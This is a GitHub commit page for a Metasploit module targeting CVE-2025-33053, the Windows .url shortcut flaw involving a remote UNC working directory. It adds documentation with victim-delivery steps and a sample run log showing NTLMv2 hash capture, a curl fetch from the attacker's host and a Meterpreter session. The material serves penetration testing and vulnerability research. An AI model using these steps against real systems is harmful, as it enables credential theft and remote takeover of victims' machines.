Skip to content

Commit e198cf6

Browse files
authored
Merge pull request #2 from msutovsky-r7/collab/webdav_working_dir_exploit
Minor code changes, updates documentation
2 parents fa0d01f + 13cd2d2 commit e198cf6

File tree

3 files changed

+106
-169
lines changed

3 files changed

+106
-169
lines changed

documentation/modules/exploit/windows/fileformat/cve_2025_33053.md

Lines changed: 0 additions & 167 deletions
This file was deleted.
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
3+
CVE-2025-33053 - Internet Shortcut (.url) UNC Path Exploit
4+
5+
Windows improperly handles `.url` (Internet Shortcut) files referencing remote
6+
UNC paths. Specifically, `.url` files that specify a remote working directory
7+
(`WorkingDirectory=\\attacker\webdav`) and a trusted executable (e.g.,
8+
`iediagcmd.exe`) may cause the system to access the attacker's server when opened.
9+
10+
This behavior can be exploited to:
11+
12+
- Trigger NTLM authentication leaks (SMB relay)
13+
- Load remote payloads via WebDAV shares
14+
- Attempt DLL sideloading if conditions allow
15+
16+
## Affected Versions
17+
18+
- Windows 10 22H2
19+
- Windows 11 23H2
20+
- Fully patched prior to June 2025 Patch Tuesday
21+
22+
## Verification Steps
23+
24+
1. Run: `use windows/fileformat/unc_url_cve_2025_33053`
25+
2. Run: `set LHOST [IP address]`
26+
3. Run: `set SRVHOST [IP address]`
27+
4. Run: `run`
28+
5. Deliver the `.url` to the target (email, USB, zip)
29+
6. On victim's machine, open `.url`
30+
7. Payload execution
31+
32+
### Overview
33+
34+
This module generates a malicious `.url` Internet Shortcut file that abuses
35+
CVE-2025-33053 — a vulnerability in how Windows handles `.url` files referencing remote UNC
36+
paths.
37+
38+
When opened on a vulnerable system, the `.url` causes the system to connect to a
39+
UNC path(e.g., a WebDAV or SMB share), triggering an attempt to execute a trusted binary
40+
from the attacker's location. This can result in RCE or credential leaks.
41+
42+
43+
## Options
44+
45+
### OUTFILE
46+
This option allows user to define their own .url file. If this option is not set, the module will generate random .url file - `YWSXVjpW.url`.
47+
48+
### FOLDER_NAME
49+
The `FOLDER_NAME` option defines SMB share folder, where the final payload file is stored. Generally can be anything, default is `webdav`.
50+
51+
### FILE_NAME
52+
This option defines payload file stored in SMB share. This option should not change as it is bound to executable in `URL` parameter of `.url` file. The default value is `explorer.exe`.
53+
54+
55+
## Scenarios
56+
57+
```
58+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > run verbose=true
59+
[*] Exploit running as background job 2.
60+
[*] Exploit completed, but no session was created.
61+
62+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > [*] Started reverse TCP handler on 192.168.3.7:4444
63+
[*] URL file: /home/ms/.msf4/local/YWSXVjpW.url, deliver to target's machine and wait for shell
64+
[*] Run following: curl http://192.168.3.7:8080/YWSXVjpW.url -o YWSXVjpW.url
65+
[*] Server is running. Listening on 192.168.3.7:4445
66+
[*] The SMB service has been started.
67+
[*] Received SMB connection from 10.5.132.137
68+
[SMB] NTLMv2-SSP Client : 10.5.132.137
69+
[SMB] NTLMv2-SSP Username : WIN10_22H2_7FD2\msfuser
70+
[SMB] NTLMv2-SSP Hash : msfuser::WIN10_22H2_7FD2:[HASH]
71+
72+
[*] Sending stage (203846 bytes) to 10.5.132.137
73+
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.137:49740) at 2025-06-24 16:08:56 +0200
74+
75+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions
76+
77+
Active sessions
78+
===============
79+
80+
Id Name Type Information Connection
81+
-- ---- ---- ----------- ----------
82+
1 meterpreter x64/windows WIN10_22H2_7FD2\msfuser @ WIN10_22H2_7FD2 192.168.3.7:4444 -> 10.5.132.137:49740 (10.5.132.137)
83+
84+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions 1
85+
[*] Starting interaction with 1...
86+
87+
meterpreter > sysinfo
88+
Computer : WIN10_22H2_7FD2
89+
OS : Windows 10 22H2+ (10.0 Build 19045).
90+
Architecture : x64
91+
System Language : en_US
92+
Domain : WORKGROUP
93+
Logged On Users : 2
94+
Meterpreter : x64/windows
95+
```
96+
97+
98+
## References
99+
100+
- [GitHub PoC](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept)
101+
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-33053)
102+
- [LOLBAS Project](https://lolbas-project.github.io)
103+
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053)
104+

modules/exploits/windows/fileformat/cve_2025_33053.rb renamed to modules/exploits/windows/fileformat/unc_url_cve_2025_33053.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,9 +83,9 @@ def exploit
8383

8484
def write_url_file
8585
content = generate_url_content
86-
outfile = if datastore['OUTFILE'] then datastore['OUTFILE'] else %(#{Rex::Text.rand_text_alphanumeric(8)}.url) end
86+
outfile = datastore['OUTFILE'].blank? ? %(#{Rex::Text.rand_text_alphanumeric(8)}.url) : datastore['OUTFILE']
8787
path = store_local('webdav.url', nil, content, outfile)
88-
print_status("URL file: #{path}, deliver to target's machine and wait for shell")
88+
print_status("URL file: #{path}, deliver to target's machine and wait for shell.")
8989
end
9090

9191
def generate_url_content

0 commit comments

Comments
 (0)